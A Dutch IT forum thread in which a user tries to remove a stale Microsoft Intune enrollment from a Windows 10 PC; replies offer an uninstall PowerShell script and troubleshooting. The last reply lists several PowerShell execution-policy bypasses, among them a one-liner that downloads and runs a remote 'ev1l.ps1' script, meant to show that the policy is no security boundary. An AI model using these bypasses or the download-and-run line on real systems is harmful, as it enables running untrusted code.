Remove microsoft intune device - account verwijderd

Pagina: 1
Acties:

Vraag


  • jan bikker
  • Registratie: December 2007
  • Laatst online: 12-05-2023
Aantal jaar geleden eens 'gespeeld' met Microsoft Intune.
Hiervoor een proef 'Onmicrosoft' account/domein aangemaakt en aan de slag gegaan door mijn PC (windows 10) te registreren in Intune.

Bovenstaande is ondertussen 2 jaar geleden en nu wil ik Intune weer verwijderen van mijn pc.
Helaas lijkt dit enkel te gaan door het geregistreerde device (mijn pc) eerst te retiren in de intune console.
Nu lijkt het erop dat mijn proef account ondertussen verlopen en verwijderd is door Microsoft. Kortom, ik kan niet meer inloggen om het device te retiren.

Na wat zoeken kwam ik een PS script tegen om Intune lokaal te kunnen verwijderen maar bij het draaien van dit script krijg ik de melding:
Uninstall-IntuneClient cannot be loaded because running scripts is disabled on this syst
em. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
Laatste optie die ik zelf nog zie is de PC opnieuw installeren echter zou ik dit graag voorkomen.
Heeft er iemand een ander idee?

Alle reacties


  • -36-
  • Registratie: Januari 2009
  • Laatst online: 26-06 16:51

-36-

Trust me. I'm an amateur

Probeer het anders met een 3rd party uninstaller, zoals revo uninstaller.

  • The Realone
  • Registratie: Januari 2005
  • Laatst online: 12:52
Set-ExecutionPolicy Unrestricted in een elevated powershell lost het probleem met je script in ieder geval op.

Acties:
  • +2 Henk 'm!

  • Starke
  • Registratie: Juli 2009
  • Laatst online: 12:46
The Realone schreef op donderdag 23 augustus 2018 @ 20:26:
Set-ExecutionPolicy Unrestricted in een elevated powershell lost het probleem met je script in ieder geval op.
En zet meteen je powershell open om voor altijd unsigned scripts uit te voeren, vanuit security oogpunt niet echt een fantastisch idee.

Beter is om het script nadat je deze gedownload (en zorgvuldig doorgenomen) hebt uit te voeren met het volgende command uit te voeren (vanuit elevated command prompt).
powershell -executionpolicy bypass C:\test.ps1

(C:\test.ps1 is een voorbeeld waar ik er vanuit ga dat je het script om wat voor reden dan ook hebt gedownload naar C:\test.ps1). Met Het bypass commando wordt de executionpolicy voor de huidige powershell sessie genegeerd (powershell sessies die daar na geopend worden hebben nog gewoon de correcte executionpolicy welke standaard "restricted" is).

Acties:
  • 0 Henk 'm!

  • jan bikker
  • Registratie: December 2007
  • Laatst online: 12-05-2023
-36- schreef op donderdag 23 augustus 2018 @ 20:21:
Probeer het anders met een 3rd party uninstaller, zoals revo uninstaller.
Helaas dat werkt ook niet, Intune staat niet in programs and features, noch is het een windows feature wat aan of uit gezet kan worden. Services kan ik wel disablen echter nog steeds niet mogelijk om PS scripts te draaien.
Starke schreef op vrijdag 24 augustus 2018 @ 08:53:
[...]

En zet meteen je powershell open om voor altijd unsigned scripts uit te voeren, vanuit security oogpunt niet echt een fantastisch idee.

Beter is om het script nadat je deze gedownload (en zorgvuldig doorgenomen) hebt uit te voeren met het volgende command uit te voeren (vanuit elevated command prompt).
powershell -executionpolicy bypass C:\test.ps1

(C:\test.ps1 is een voorbeeld waar ik er vanuit ga dat je het script om wat voor reden dan ook hebt gedownload naar C:\test.ps1). Met Het bypass commando wordt de executionpolicy voor de huidige powershell sessie genegeerd (powershell sessies die daar na geopend worden hebben nog gewoon de correcte executionpolicy welke standaard "restricted" is).
Dank, uitgevoerd middels een elevated command prompt maar krijg nu een error in het script:
Cannot bind argument to parameter 'ServcieId' becaus it is null. [locatie script]:40 char:17
start-uninstall (get-ServiceId)

[ Voor 56% gewijzigd door jan bikker op 25-08-2018 15:13 ]


Acties:
  • 0 Henk 'm!

  • Starke
  • Registratie: Juli 2009
  • Laatst online: 12:46
Ik neem aan dat je het volgende script gebruikt (uit de naam ervan) https://gallery.technet.m...e-Intune-b42111d1#content
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function Get-ServiceId {
    #Set the registry path containing the service ID
    $RegistryPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OnlineManagement"
    try {
        #Get all the names of the items in the registry location
        $RegistryItems = (Get-ChildItem -Path Registry::$RegistryPath -ErrorAction Stop).Name
        #Loop through all the results
        foreach ($RegistryItem in $RegistryItems) {
            #Find the result that starts with the registry location followed by the first sign of a GUID
            if ($RegistryItem.StartsWith("$RegistryPath\{")) {
                #Replace the registry location with nothing to get the GUID
                $ServiceId = $RegistryItem.Replace("$RegistryPath\","")
                break
            }
        }
        return $ServiceId
    }
    catch {
        Write-Output "The Microsoft Intune client is not installed"
    }
}

function Start-Uninstall {
    param (
    [parameter(Mandatory=$true)]$ServiceId
    )
    try {
        #Set the ProvisioningUtil location and parameters
        $ProvisioningUtilPath = "C:\Program Files\Microsoft\OnlineManagement\Common"
        $ProvisioningUtilExecutable = "ProvisioningUtil.exe"
        $ProvisioningUtilArguments = "/UninstallClient /ServiceId $ServiceId /TaskName 'tempTask' /SubEventId 16"
        #Trigger the uninstall of the Microsoft Intune client
        Start-Process -FilePath "$($ProvisioningUtilPath)\$($ProvisioningUtilExecutable)" -ArgumentList $ProvisioningUtilArguments -Wait -PassThru
    }
    catch {
        Write-Output "Failed to trigger the uninstall of the Microsoft Intune client"
    }
}

Start-Uninstall (Get-ServiceId)

Ik hoop dat wat mensen die wat meer in powershell zitten hier wat licht op kunnen schijnen (want zie in Q&A ook wat mensen met zelfde probleem). Het lijkt er (voor zover ik kan zien op) dat de eerste functie "Get-ServiceId" niet wordt aangeroepen waardoor deze leeg is bij het aanroepen van deze in de Start-Uninstall" (line 40 char: 17).

In: https://www.petervanderwo...-microsoft-intune-client/ (en dan method 2) staat uitgelegd wat het script probeert te doen, maar daar heb je niet heel erg veel aan als het niet werkt. Ik hoop echter dat je met de informatie daar mogelijk je GUID kan krijgen en dan via die ProvisioningUtil.exe hem kan verwijderen (op één of andere manier).
ProvisioningUtil.exe /UninstallClient /ServiceId "{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}" /TaskName "tempTask" /SubEventId 16

En jouw key dan halen uit HKLM\SOFTWARE\Microsoft\OnlineManagement\{JouwGUID}

[ Voor 12% gewijzigd door Starke op 25-08-2018 17:31 ]


Acties:
  • 0 Henk 'm!

  • TheVMaster
  • Registratie: Juli 2001
  • Laatst online: 00:21

TheVMaster

Moderator WOS
jan bikker schreef op Saturday 25 August 2018 @ 15:06:
[...]


Helaas dat werkt ook niet, Intune staat niet in programs and features, noch is het een windows feature wat aan of uit gezet kan worden. Services kan ik wel disablen echter nog steeds niet mogelijk om PS scripts te draaien.


[...]


Dank, uitgevoerd middels een elevated command prompt maar krijg nu een error in het script:
Cannot bind argument to parameter 'ServcieId' becaus it is null. [locatie script]:40 char:17
start-uninstall (get-ServiceId)
Je hebt je machine MDM Enrolled. Dat zou je moeten kunnen verwijderen van je systeem door in de Settings --> Accounts --> Work or School Account en daar te disconnecten.
Starke schreef op Saturday 25 August 2018 @ 17:19:
Ik neem aan dat je het volgende script gebruikt (uit de naam ervan) https://gallery.technet.m...e-Intune-b42111d1#content
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function Get-ServiceId {
    #Set the registry path containing the service ID
    $RegistryPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OnlineManagement"
    try {
        #Get all the names of the items in the registry location
        $RegistryItems = (Get-ChildItem -Path Registry::$RegistryPath -ErrorAction Stop).Name
        #Loop through all the results
        foreach ($RegistryItem in $RegistryItems) {
            #Find the result that starts with the registry location followed by the first sign of a GUID
            if ($RegistryItem.StartsWith("$RegistryPath\{")) {
                #Replace the registry location with nothing to get the GUID
                $ServiceId = $RegistryItem.Replace("$RegistryPath\","")
                break
            }
        }
        return $ServiceId
    }
    catch {
        Write-Output "The Microsoft Intune client is not installed"
    }
}

function Start-Uninstall {
    param (
    [parameter(Mandatory=$true)]$ServiceId
    )
    try {
        #Set the ProvisioningUtil location and parameters
        $ProvisioningUtilPath = "C:\Program Files\Microsoft\OnlineManagement\Common"
        $ProvisioningUtilExecutable = "ProvisioningUtil.exe"
        $ProvisioningUtilArguments = "/UninstallClient /ServiceId $ServiceId /TaskName 'tempTask' /SubEventId 16"
        #Trigger the uninstall of the Microsoft Intune client
        Start-Process -FilePath "$($ProvisioningUtilPath)\$($ProvisioningUtilExecutable)" -ArgumentList $ProvisioningUtilArguments -Wait -PassThru
    }
    catch {
        Write-Output "Failed to trigger the uninstall of the Microsoft Intune client"
    }
}

Start-Uninstall (Get-ServiceId)

Ik hoop dat wat mensen die wat meer in powershell zitten hier wat licht op kunnen schijnen (want zie in Q&A ook wat mensen met zelfde probleem). Het lijkt er (voor zover ik kan zien op) dat de eerste functie "Get-ServiceId" niet wordt aangeroepen waardoor deze leeg is bij het aanroepen van deze in de Start-Uninstall" (line 40 char: 17).

In: https://www.petervanderwo...-microsoft-intune-client/ (en dan method 2) staat uitgelegd wat het script probeert te doen, maar daar heb je niet heel erg veel aan als het niet werkt. Ik hoop echter dat je met de informatie daar mogelijk je GUID kan krijgen en dan via die ProvisioningUtil.exe hem kan verwijderen (op één of andere manier).
ProvisioningUtil.exe /UninstallClient /ServiceId "{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}" /TaskName "tempTask" /SubEventId 16

En jouw key dan halen uit HKLM\SOFTWARE\Microsoft\OnlineManagement\{JouwGUID}
Dit werkt alleen (dat artikel van Peter vd Woude is al meer dan 3 jaar oud) als je dus de Intune Client (die je eigenlijk niet meer zou moeten gebruiken) wilt verwijderen. Als hij z'n Windows 10 machine 'gergeistreerd' heeft, wat de TS zegt...dan zou je dit ongedaan moeten kunnen maken via eerder genoemde optie.

Kan ook zijn dat je toendertijd een policy hebt gemaakt waarmee je het unenrollen voorkomt.Je moet dat soort zaken eigenlijk ook niet testen op je 'productiemachine' natuurlijk..

[ Voor 69% gewijzigd door TheVMaster op 25-08-2018 23:58 ]


Acties:
  • 0 Henk 'm!

  • Squ1zZy
  • Registratie: April 2011
  • Niet online
Starke schreef op vrijdag 24 augustus 2018 @ 08:53:
[...]

En zet meteen je powershell open om voor altijd unsigned scripts uit te voeren, vanuit security oogpunt niet echt een fantastisch idee.

Beter is om het script nadat je deze gedownload (en zorgvuldig doorgenomen) hebt uit te voeren met het volgende command uit te voeren (vanuit elevated command prompt).
powershell -executionpolicy bypass C:\test.ps1

(C:\test.ps1 is een voorbeeld waar ik er vanuit ga dat je het script om wat voor reden dan ook hebt gedownload naar C:\test.ps1). Met Het bypass commando wordt de executionpolicy voor de huidige powershell sessie genegeerd (powershell sessies die daar na geopend worden hebben nog gewoon de correcte executionpolicy welke standaard "restricted" is).
Goed punt, maar executionpolicy is nooit gemaakt vanuit een security oogpunt. Dit is gedaan zodat beheerders niet zomaar scripts kunnen uitvoeren en dingen doen die schadelijk kunnen zijn.

Elk malicious script bypasses de executionpolicy zoals je zelf al met een voorbeeld aangeeft. Hier nog een paar voorbeelden:

Voorbeeld 1:
PowerShell:
1
Get-Content .ev1l.ps1 | PowerShell.exe -noprofile -


Voorbeeld 2:
PowerShell:
1
PowerShell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/ev1l.ps1')"


Voorbeeld 3:
PowerShell:
1
PowerShell -command "Write-Host 'Ik ben ev1l.'"


Voorbeeld 4:
PowerShell:
1
$command = "Write-Host 'Ik ben ev1l.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand


Voorbeeld 5:
PowerShell:
1
invoke-command -scriptblock {Write-Host "Ik ben ev1l."}


Voorbeeld 6:
PowerShell:
1
PowerShell.exe -ExecutionPolicy Bypass -File .ev1l.ps1


Voorbeeld 7:
PowerShell:
1
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy .ev1l.ps1


En zo zijn er nog veel meer...

Dus onthoud dat Set-Execution geen malicious scripts tegen houd!

Source Microsoft: https://docs.microsoft.co.../about_execution_policies
The execution policy is not a security system that restricts user actions. For example, users can easily circumvent a policy by typing the script contents at the command line when they cannot run a script. Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.

[ Voor 8% gewijzigd door Squ1zZy op 26-08-2018 09:47 ]

Pagina: 1